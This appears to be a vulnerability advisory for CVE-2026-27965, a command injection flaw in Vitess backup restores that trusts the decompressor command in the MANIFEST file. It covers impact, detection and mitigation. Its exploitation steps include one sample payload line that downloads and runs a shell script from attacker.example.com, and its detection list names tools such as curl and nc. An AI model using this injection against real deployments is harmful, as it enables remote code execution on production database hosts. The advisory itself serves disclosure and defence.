CVE-2026-27965: 
NixOS vulnerability analysis and mitigation

CVE-2026-27965 is a backup manifest injection vulnerability in Vitess, a database clustering system for horizontal scaling of MySQL, classified as OS Command Injection (CWE-78). Any attacker with read/write access to the backup storage location (e.g., an S3 bucket) can manipulate backup manifest files so that arbitrary commands are executed when the backup is restored, granting unauthorized access to the production deployment environment. Affected versions include all releases prior to 22.0.4 and versions 23.0.0 through 23.0.2; patched versions are 22.0.4 and 23.0.3. The vulnerability was disclosed on February 25, 2026, and carries a CVSS v3.1 base score of 9.9 (Critical) and a CVSS v4.0 base score of 8.4 (High) (GitHub Advisory, Feedly).

The root cause is that Vitess's backup restore process unconditionally trusted the ExternalDecompressor command stored in the backup MANIFEST file when no --external-decompressor CLI flag was provided to vttablet or vtbackup. This design flaw (CWE-78) allowed attacker-controlled input from the manifest to be passed directly to OS command execution without adequate validation. The fix, implemented in PR #19460, makes loading compressor commands from the MANIFEST opt-in via a new --external-decompressor-use-manifest flag (explicitly marked as NOT RECOMMENDED due to security risk), and the --external-decompressor CLI flag now always takes precedence. The vulnerability was discovered and reported by security researcher NeuroWinter (GitHub Issue, GitHub PR, GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary OS commands on the host running the Vitess tablet (vttablet) or backup process (vtbackup) as the Vitess service user. This grants full confidentiality, integrity, and availability impact on the vulnerable system, including unauthorized access to sensitive data in the production database environment, the ability to run additional arbitrary commands, and potential for establishing persistence or lateral movement within the infrastructure. The scope is changed (S:C in CVSS v3.1), meaning the impact extends beyond the vulnerable component itself to the broader production deployment environment (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure (Feedly). The EPSS score is approximately 0.043%, indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires the attacker to have write access to the backup storage location (e.g., an S3 bucket) and the ability — directly or indirectly — to trigger a backup restore operation without the --external-decompressor flag being set (GitHub Issue).

1. Gain storage access: Obtain read/write access to the Vitess backup storage location (e.g., an S3 bucket, GCS bucket, or file-based storage) through compromised credentials, misconfigured bucket policies, or insider access.
2. Identify a target backup: Locate a valid Vitess backup directory containing a MANIFEST file alongside the backup data files.
3. Modify the MANIFEST file: Edit the MANIFEST file to inject a malicious command in the ExternalDecompressor field. For example, set the decompressor command to: bash with arguments -c "curl -o /tmp/vuln.sh http://attacker.example.com/shell.sh && chmod +x /tmp/vuln.sh && /tmp/vuln.sh" (GitHub Issue).
4. Trigger a restore: Wait for or induce a backup restore operation on a vulnerable Vitess instance (e.g., via automated restore pipelines, disaster recovery procedures, or by triggering a tablet restart that initiates restore). The target vttablet or vtbackup must not have the --external-decompressor flag set.
5. Achieve code execution: When the restore process reads the tampered MANIFEST and executes the injected decompressor command, arbitrary OS commands run as the Vitess service user on the production host, enabling reverse shell, data exfiltration, or further lateral movement (GitHub Advisory).

• File System: Unexpected or recently modified MANIFEST files in backup storage directories (S3, GCS, or local file paths); presence of unusual scripts or binaries in /tmp or other writable directories on tablet hosts (e.g., /tmp/vuln.sh).
• Process: Unusual child processes spawned by vttablet or vtbackup during a restore operation (e.g., bash, curl, wget, python, nc) that are not part of normal decompression workflows.
• Network: Unexpected outbound network connections from Vitess tablet hosts to external IPs during backup restore operations; DNS lookups for unknown external domains initiated by the Vitess process.
• Logs: Vitess restore logs showing execution of unexpected decompressor commands (commands other than standard decompressors like zstd, gzip, lz4); log entries referencing commands read from the MANIFEST file during restore (GitHub Issue, GitHub Advisory).

Upgrade to Vitess version 22.0.4 or 23.0.3 (or later), which make loading decompressor commands from the MANIFEST file opt-in rather than the default behavior (GitHub Advisory). For immediate mitigation without patching: (1) If using an external decompressor, always specify it explicitly via --external-decompressor for vttablet and vtbackup — this overrides any value in the manifest. (2) If no external decompressor is needed, set --external-decompressor cat or --external-decompressor tee to ensure a harmless command is always used. (3) Restrict write access to backup storage locations (S3 buckets, GCS buckets, etc.) to only authorized personnel and service accounts. (4) Implement monitoring and alerting for unauthorized modifications to backup manifest files (GitHub Issue).

The vulnerability was credited to security researcher NeuroWinter (dev@neurowinter.com), who published a detailed technical write-up on the issue (NeuroWinter Blog). Security news outlet SecurityOnline.info covered the vulnerability under the headline "Critical Backup Flaws Expose Vitess Environments to Complete Takeover" (SecurityOnline). The Vitess maintainers responded promptly, merging a fix within the same day the issue was reported and backporting it to the release-22.0 and release-23.0 branches (GitHub PR).